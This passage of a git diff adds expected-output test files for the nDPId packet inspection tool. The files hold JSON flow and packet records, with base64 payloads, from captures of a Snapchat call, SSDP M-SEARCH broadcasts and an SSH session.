0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tbUU2ixV5Jj1qHEQQZYOHtdotUTPKCy0omzKN6SE7STZ4\/rKMxZ9\/rrj8l9tx+PhU9mRQzeJZ+1Dabp0JaMw4Ax2lLo8wBUBdtg1GpS3urBIhqVx\/8nRPLB1cTLrUpB570Ce5EPUwnKR9lOYP4lEwNDYB6IFgkpIa6H7tgIaiFYKRkQOZdTLeLAF4MnSFOq4wCsGZFGIlTmcj5MNiAOJd\/wxBRVNHA78+534aJGpQz3fTGhLA01g1MDkBAAAAKAAAALCir626Nfdlr16nNUFUTgfR1r6cqrNy6jaIgHxu7sBUVbGuAflhncgG\/tarPbDP8Z0PbFQMXHjUk17jcBtg1V9kAAAAAQAAAEMyNTVQ9M9VwKYsE1D0z1XApiwTWWjAu58dEhUAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +01196{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"snapchat_call.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595865799,"pkt_ts_usec":50670,"pkt_caplen":625,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":625,"pkt_l4_len":591,"pkt":"CL6sCxdumt9Y+uvcCABFAAJjAItAAEARzWfAqAypEriKjqRjAbsCT65h01EwNDZQw4BG53qjBuoAAAADhya4qYtt5V0x0ahvjuC9izVEzqKNd9dFg0dMX2kM7C7o65\/lwye0QEqUC\/fCGnlM\/1CMtfUwRQbzGMRImbuULyAzl42+\/yFFWWo+QUuwBatFfFmK4zNTm\/z1uJiJx45q8MwBT1SF49h8D00FJwLEhGuT7lLo38hxyrt1V5gKeN6Yici\/BYXIFDRbsK658sEE\/624H625s4aKxx\/\/iaYlWlw1NYemvZ81+xME4wR5jIWdtJYhoBMPjsjzd8fMlI0iroodQ9egC+VsB1acfUpvzEnydha4p2YSnGCF9FkGgwvrldhD9oOEyLcOj8IOpmDh6FQpmfIFw2Nd9YmWV1bvGPdjTV3ii5rvSBAQeyyc4GueHrrLpMcI7K5nT2bA5kT5Jb4rsXauVMAfSvIN1lWQGw2MaYoXdHWOIG9cbnVekJxe4MHacCqdA8LlfAl2pvwfeJr31UBoFfROcR5Wz9HeaGVQMd5IbPaMJh2CqwAdPKy4NjqBvTPwMr323VnfvxK\/vHBkeEfqQhhF4Yhfz\/DZ\/EJiugX4801fCaoDsbad+zTLUqhhfpcRcwnjkv4rmF18bOTeFFfjrqDCHH8kM8e9WD23FJW64Y9cQ95jV\/W9f05cZIJtKFGufGrZx\/n9lODrwnKI59iaqR7wdk8EKFX\/qunAqnHF901nrhXV22WTg54nqMXdoPFE1cRkI83F7fXGCKfTAgNcGKIOPxN8ZzZnxRc4IEYD7BWzsnJSf3+hCIEUT\/wmgg=="} +00446{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"snapchat_call.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595865799,"pkt_ts_usec":61305,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"mt9Y+uvcCL6sCxduCABFAABA60ZAACUR\/84SuIqOwKgMqQG7pGMALLeiw1EwNDYFw4BG53qjBuoAAAAD6r3eDKlyPm1reQA9QAEkVwEA"} +02236{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"snapchat_call.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595865799,"pkt_ts_usec":66415,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"mt9Y+uvcCL6sCxduCABFAAVi60dAACUR+qsSuIqOwKgMqQG7pGMFTswq01EwNDYFw4BG53qjBuoAAAAEYe69Fc1RtpU2Ibd0KWGCIqMBRZrpPG9fGbz8P7v6GfBSTxYDvJBpkKn9uXFVVQulWPO5d9X6M\/rRG+Am\/e4eZx\/vbP5hxMavmjYxiib5LlB379QGYH1BE+IjRdQCl7D\/noDea2Ko1oa3OFEoheBKm7cl3LoIjh527OMGV6q30EBo2p4EFmWFeTJfzwISMkov\/fpYhVzJrMA+u1pSBxiBTOFbD+lTHRVanAtscquWY2ZXMmK3Wd7TaWe2pTLNdaO6nCE5hAWbyXcosh7U4ZGgi57tL9aQ7RflwN+USdoLUlWuZd0Z4VKXx96cIegCn\/3A0LOtmMscVxOdyg8EXDH1VnX2U\/XLBws\/E5wx9c6DLUSKF6QRHEI0R2w82bvKGa8OscyqpGMJui7X4TMaiuSmkZMQxClcfZQMqZ7qyTNM1HORQpbiRmtiCgDaLbmTxwfsbE5bSvyoXl49K3e\/+R8aa55lwTvJlMWicuuK3VX5CkROEVN06Uh1unFeCWDGDtWBAC3oWbh4uRVeWx0xUwSlbH3eCRYu1Vvppzn1PwiGDGJ5emKHdDTpxnWnZxmY6aXI+o7iUZcZK9bi42ND9JcUplevCH\/THe\/RzVGi0ZGL2Vak8abFMGocGuPlp8DT5Qh0wZGBnXfwI9q34P3qPx4vm8xJ5\/Qz0itb4azeAan6ySC\/TwjXMoaDEstpsmnUMBwbd1apE\/wJxoBkw62IkoHv+n2cMgjJO\/WF6DEJVSDTwLdeF+cwfsowoMLhmKawuYYo3TSNMl5zl0szLRt2BT4xQkheMahOYN805i2KHKk9tYAG\/rfEEE1kDoCHV6DIVhA\/3uB9\/eAm6CCxRVER0BqO7JR2x8hCKKnFrE8XF2VE3zHH9shfqb\/\/qfYQubzl5NfkNaKJibLc5WVhA2uaV\/cwi81\/Ue7nv3EXQmqxDKk1opdu2UuIh+0S4LzTCFQHaBzHPD26lPWYcG5OKM4C3LB07PcSidg4QO9C1eW1Nq767hAmIdwVtPfRUXnjcuS9gshsPY5x1\/oX39Zur41UkPg1Ka2na+jMMlIMNn0t700rxnEy91w+7c3UdtIOwQ+mHo4qD85JUJtVEgChraHjzdwK5EhRaM3ZPC7hjRlz7l5CuYXvK7412Hn75B+sbp1vyfNPtF3O3NZEXhpvUTD\/N3XIfEmXhwqRsX6M\/P+uyIhUb7e1RSJfgSBxfF1Yf7R9b1C5KZjdYSN4ydzZrxLWTa8Uao2EoCNBG7iH3ZdE0WqzDOJidUBnD0JpvtEzKoV9M3c3\/21hhvVlbLVAxL1yyZKV0ytz0TfG4OagOFkTVPS9EIfcf2\/v9L26RM0cCGC7nFDNguxroMGK8m0n\/Be1t6fujFERQD1CKMcFQNsFO8X4neY1XZdMduNvQRhfZA5HOL2D4S2ymHCn6uxB\/YzAnT7Br5q8hwo8KweFYsRBrO7LVnT4XNu9Pf9lFU0UoG2+qTZwT41G6IQDbv0U750mIQ+UeZ8VVH0ntRquvpPZ++OLYiLoUkNr48j1OzFEsAseX67OSldnNBvgeSdZsYl4KkLOu57p8CJzg\/AQAVyQNkjnnTOxPOox4eAiVzxfHFzUlx7tG8G0truPC60yJ3fSUQnWtscviMTxtUnN5AR97q7bM4tgWx\/alILefXJACKwg91iF6JXGtBaHb00KpyuEHfzqtQjibcsXAytHOzvj\/7O0fFCR26gzPDUyKtvdOeNDiI17UADJON4WjaQjZHWhxor0hhcapU+ahtgdTKWQ\/PlYbRPlNt+f"} +00426{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"snapchat_call.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595865799,"pkt_ts_usec":66440,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"mt9Y+uvcCL6sCxduCABFAAAw60hAACUR\/9wSuIqOwKgMqQG7pGMAHHl1QAUIe9TIza0y1tosM5uf+Sb0gwc="} +00925{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"snapchat_call.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595865799,"pkt_ts_usec":66456,"pkt_caplen":428,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":428,"pkt_l4_len":394,"pkt":"mt9Y+uvcCL6sCxduCABFAAGe60lAACUR\/m0SuIqOwKgMqQG7pGMBit5yQAaeSIOsrh3xx8Ehs2FdF03G0jtQ15otDnZJ+BstWOA41eQmW5p0Y1e9tRmvySk4k6fTe2EAVmZxHb4kEf56TXu+GSR\/06qjeqoV31QoVOShSILWzhJovnAINgmjjyID\/tXdELaxwgc9tw3p+vaVzpolHxVRyh+smJNQjGueP2HzRDHiAVRmcH111Ge7u6\/X0HXLOZGg4YBkuHr3MBuDzUYMNppXL+xE3iGZ9jN2ywhHdl9vvRdb+1i\/v7d875UNGC\/w9zhXTiPSpmX1AIXavGTJ3Sd2vHkm1UTijxm91oruGUB2R9B0dgkUB8aOEu+O4U75bRTYXUpgZZY8vaUZM500jOSVSGp9gAwAJWn9wnO8vzVlvM6RGIcPNWDG5PTVO3eKZSnq34+tGxWmJxQgZEvlZ9hWvgItkI+v0\/pR1RhA1apYFDxckY5W0xIiJKcJ\/xZDN1TR+xIpSZyowoScMn\/H3ZxdaMT1Sw8YD2vQbVzmJv8gOeksgzsgOheD9HVcrvA="} +00439{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"snapchat_call.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595865799,"pkt_ts_usec":70978,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"CL6sCxdumt9Y+uvcCABFAAA4AI1AAEARz5DAqAypEriKjqRjAbsAJGDHQMOARud6owbqBNWOEYTQXBuzAFsYXVo0IjXwUw=="} +00461{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"snapchat_call.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595865799,"pkt_ts_usec":100120,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"CL6sCxdumt9Y+uvcCABFAABIAI9AAEARz37AqAypEriKjqRjAbsANIK3QMOARud6owbqBRIRe6AQtqrXp03arABQKSiG+1K4OCISA9wT+9lNLk6\/qiA="} +00452{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"snapchat_call.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595865799,"pkt_ts_usec":105651,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"CL6sCxdumt9Y+uvcCABFAABCAJBAAEARz4PAqAypEriKjqRjAbsALmkVQMOARud6owbqBox4kqfjL6sZu7ZMTZmBap+NOVIK4WO8gNoEP3g="} +00453{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"snapchat_call.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595865799,"pkt_ts_usec":105753,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"CL6sCxdumt9Y+uvcCABFAABCAJFAAEARz4LAqAypEriKjqRjAbsALmnoQMOARud6owbqB97g\/jhJ9kT7eseQiNAVbouFZELJBQ7vbNXPBus="} +00453{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"snapchat_call.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595865799,"pkt_ts_usec":105760,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"CL6sCxdumt9Y+uvcCABFAABCAJJAAEARz4HAqAypEriKjqRjAbsALq54QMOARud6owbqCFB\/R6QkZ4cH6CMIS5RzQDZFuCrfWVfg0GUd8kY="} +00618{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"snapchat_call.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595865799,"pkt_ts_usec":105971,"pkt_caplen":201,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":201,"pkt_l4_len":167,"pkt":"CL6sCxdumt9Y+uvcCABFAAC7AJNAAEARzwfAqAypEriKjqRjAbsAp9wkQMOARud6owbqCRc3SXpZ6Q9b9545QLOgrmU7yrTkDeu1OuRMhPND6AkTs3ROozWJziUGPGTD7NgdmiQX5t0ozTRtTxbk7\/KukXzKWYmVD9Mk3HoJXFObywsgcQzdtt+wsCQ6BlbJTbVGz4\/ddaV5nEeaHbghbcZU6VpqPRWkwkqgnOUcsHXDm4\/7lQ3gSNvX5H+o61wG2b9kKE9PLXv5"} diff --git a/test/results/ssdp-m-search.pcap.out b/test/results/ssdp-m-search.pcap.out new file mode 100644 index 000000000..46a2cc0ba --- /dev/null +++ b/test/results/ssdp-m-search.pcap.out @@ -0,0 +1,17 @@ +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"ssdp-m-search.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1532054645808,"flow_last_seen":0,"flow_tot_l4_data_len":29,"flow_min_l4_data_len":29,"flow_max_l4_data_len":29,"flow_avg_l4_data_len":29,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.8","dst_ip":"192.168.242.255","src_port":42253,"dst_port":32412,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"ssdp-m-search.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1532054645,"pkt_ts_usec":808785,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"\/\/\/\/\/\/\/\/AAibydCMCABFAAAxO0tAAEARmRfAqPIIwKjy\/6UNfpwAHf9xTS1TRUFSQ0ggKiBIVFRQLzEuMQ0K"} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"ssdp-m-search.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1532054645808,"flow_last_seen":0,"flow_tot_l4_data_len":29,"flow_min_l4_data_len":29,"flow_max_l4_data_len":29,"flow_avg_l4_data_len":29,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.8","dst_ip":"192.168.242.255","src_port":42253,"dst_port":32412,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00433{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"ssdp-m-search.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1532054650,"pkt_ts_usec":808802,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"\/\/\/\/\/\/\/\/AAibydCMCABFAAAxSyxAAEARiTbAqPIIwKjy\/6UNfpwAHf9xTS1TRUFSQ0ggKiBIVFRQLzEuMQ0K"} +00433{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"ssdp-m-search.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1532054655,"pkt_ts_usec":808797,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"\/\/\/\/\/\/\/\/AAibydCMCABFAAAxW1JAAEAReRDAqPIIwKjy\/6UNfpwAHf9xTS1TRUFSQ0ggKiBIVFRQLzEuMQ0K"} +00433{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"ssdp-m-search.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1532054660,"pkt_ts_usec":808775,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"\/\/\/\/\/\/\/\/AAibydCMCABFAAAxbhVAAEARZk3AqPIIwKjy\/6UNfpwAHf9xTS1TRUFSQ0ggKiBIVFRQLzEuMQ0K"} +00433{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"ssdp-m-search.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1532054665,"pkt_ts_usec":808769,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"\/\/\/\/\/\/\/\/AAibydCMCABFAAAxfl5AAEARVgTAqPIIwKjy\/6UNfpwAHf9xTS1TRUFSQ0ggKiBIVFRQLzEuMQ0K"} +00433{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"ssdp-m-search.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1532054670,"pkt_ts_usec":808780,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"\/\/\/\/\/\/\/\/AAibydCMCABFAAAxhQ5AAEART1TAqPIIwKjy\/6UNfpwAHf9xTS1TRUFSQ0ggKiBIVFRQLzEuMQ0K"} +00433{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"ssdp-m-search.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1532054675,"pkt_ts_usec":808805,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"\/\/\/\/\/\/\/\/AAibydCMCABFAAAxkMxAAEARQ5bAqPIIwKjy\/6UNfpwAHf9xTS1TRUFSQ0ggKiBIVFRQLzEuMQ0K"} +00433{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"ssdp-m-search.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1532054680,"pkt_ts_usec":808788,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"\/\/\/\/\/\/\/\/AAibydCMCABFAAAxkOxAAEARQ3bAqPIIwKjy\/6UNfpwAHf9xTS1TRUFSQ0ggKiBIVFRQLzEuMQ0K"} +00434{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"ssdp-m-search.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1532054685,"pkt_ts_usec":808792,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"\/\/\/\/\/\/\/\/AAibydCMCABFAAAxmrNAAEAROa\/AqPIIwKjy\/6UNfpwAHf9xTS1TRUFSQ0ggKiBIVFRQLzEuMQ0K"} +00435{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"ssdp-m-search.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1532054690,"pkt_ts_usec":808753,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"\/\/\/\/\/\/\/\/AAibydCMCABFAAAxprFAAEARLbHAqPIIwKjy\/6UNfpwAHf9xTS1TRUFSQ0ggKiBIVFRQLzEuMQ0K"} +00436{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"ssdp-m-search.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1532054695,"pkt_ts_usec":808771,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"\/\/\/\/\/\/\/\/AAibydCMCABFAAAxsrNAAEARIa\/AqPIIwKjy\/6UNfpwAHf9xTS1TRUFSQ0ggKiBIVFRQLzEuMQ0K"} +00435{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"ssdp-m-search.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1532054700,"pkt_ts_usec":808779,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"\/\/\/\/\/\/\/\/AAibydCMCABFAAAxufpAAEARGmjAqPIIwKjy\/6UNfpwAHf9xTS1TRUFSQ0ggKiBIVFRQLzEuMQ0K"} +00435{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"ssdp-m-search.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1532054705,"pkt_ts_usec":808776,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"\/\/\/\/\/\/\/\/AAibydCMCABFAAAxvxhAAEARFUrAqPIIwKjy\/6UNfpwAHf9xTS1TRUFSQ0ggKiBIVFRQLzEuMQ0K"} +00435{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"ssdp-m-search.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1532054710,"pkt_ts_usec":808804,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"\/\/\/\/\/\/\/\/AAibydCMCABFAAAxwmtAAEAREffAqPIIwKjy\/6UNfpwAHf9xTS1TRUFSQ0ggKiBIVFRQLzEuMQ0K"} +00436{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"ssdp-m-search.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1532054715,"pkt_ts_usec":808776,"pkt_caplen":63,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":63,"pkt_l4_len":29,"pkt":"\/\/\/\/\/\/\/\/AAibydCMCABFAAAxxENAAEAREB\/AqPIIwKjy\/6UNfpwAHf9xTS1TRUFSQ0ggKiBIVFRQLzEuMQ0K"} diff --git a/test/results/ssh.pcap.out b/test/results/ssh.pcap.out new file mode 100644 index 000000000..63de8c537 --- /dev/null +++ b/test/results/ssh.pcap.out @@ -0,0 +1,20 @@ +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"ssh.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1320435464760,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.238.1","dst_ip":"172.16.238.168","src_port":58395,"dst_port":22,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"ssh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1320435464,"pkt_ts_usec":760244,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AAwppUXgAFBWwAAICABFAABAek9AAEAGi52sEO4BrBDuqOQbABY3Xn+qAAAAALAC\/\/+abgAAAgQFtAEDAwMBAQgKHJWv9QAAAAAEAgAA"} +00431{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"ssh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1320435464,"pkt_ts_usec":760270,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AFBWwAAIAAwppUXgCABFAAA8AABAAEAGBfGsEO6orBDuAQAW5BtConY2N15\/q6ASFqC42wAAAgQFtAQCCAoAEyL4HJWv9QEDAwY="} +00422{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"ssh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1320435464,"pkt_ts_usec":760285,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAwppUXgAFBWwAAICABFAAA0xzVAAEAGPsOsEO4BrBDuqOQbABY3Xn+rQqJ2N4AQ\/\/\/+RgAAAQEIChyVr\/UAEyL4"} +00448{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"ssh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1320435464,"pkt_ts_usec":768382,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"AFBWwAAIAAwppUXgCABFAABJVM9AAEAGsRSsEO6orBDuAQAW5BtConY3N15\/q4AYAFs9HQAAAQEICgATIwEcla\/1U1NILTIuMC1PcGVuU1NIXzUuMw0K"} +00683{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"ssh.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1320435464760,"flow_last_seen":1320435464768,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":53,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.238.1","dst_ip":"172.16.238.168","src_port":58395,"dst_port":22,"l4_proto":"tcp","ndpi": {"flow_risk": {"18":"SSH Obsolete Client Version\/Cipher"},"proto":"SSH","breed":"Acceptable","category":"RemoteAccess"},"ssh": {"client_signature":"SSH-2.0-OpenSSH_5.3","server_signature":"","hassh_client":"","hassh_server":""}} +00422{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"ssh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1320435464,"pkt_ts_usec":768431,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AAwppUXgAFBWwAAICABFAAA0YDlAAEAGpb+sEO4BrBDuqOQbABY3Xn+rQqJ2TIAQ\/\/\/+HgAAAQEIChyVr\/8AEyMB"} 